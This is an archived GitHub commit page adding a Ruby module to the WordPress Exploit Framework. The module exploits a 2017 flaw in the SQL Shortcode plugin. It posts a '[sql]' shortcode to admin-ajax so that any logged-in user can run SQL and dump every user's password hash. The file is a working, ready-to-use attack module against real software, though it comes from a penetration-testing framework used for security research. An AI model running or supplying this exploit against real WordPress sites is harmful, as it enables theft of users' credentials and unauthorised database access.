This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +59
-0
lines changed
Expand file tree Collapse file tree 1 file changed +59
-0
lines changed Original file line number Diff line number Diff line change 1+ # frozen_string_literal: true
2+
3+ class Wpxf ::Auxiliary ::SqlShortcodeHashDump < Wpxf ::Module
4+ include Wpxf ::WordPress ::HashDump
5+
6+ def initialize
7+ super
8+
9+ update_info (
10+ name : 'SQL Shortcode Authenticated Hash Dump' ,
11+ desc : %(
12+ SQL Shortcode allows registered users of any level to execute
13+ arbitrary SQL queries against the database.
14+
15+ This module utilises this design flaw to dump the hashed passwords
16+ of all users in the database.
17+ ) ,
18+ author : [
19+ 'Paul Dannewitz' , # Disclosure
20+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
21+ ] ,
22+ references : [
23+ [ 'WPVDB' , '8904' ]
24+ ] ,
25+ date : 'Sept 02 2017'
26+ )
27+ end
28+
29+ def check
30+ check_plugin_version_from_readme ( 'sql-shortcode' )
31+ end
32+
33+ def requires_authentication
34+ true
35+ end
36+
37+ def hashdump_request_method
38+ :post
39+ end
40+
41+ def hashdump_request_body
42+ {
43+ 'action' => 'parse-media-shortcode' ,
44+ 'shortcode' => "[sql]#{ hashdump_sql_statement } [/sql]"
45+ }
46+ end
47+
48+ def hashdump_visible_field_index
49+ 0
50+ end
51+
52+ def hashdump_number_of_cols
53+ 1
54+ end
55+
56+ def vulnerable_url
57+ wordpress_url_admin_ajax
58+ end
59+ end
You can’t perform that action at this time.
0 commit comments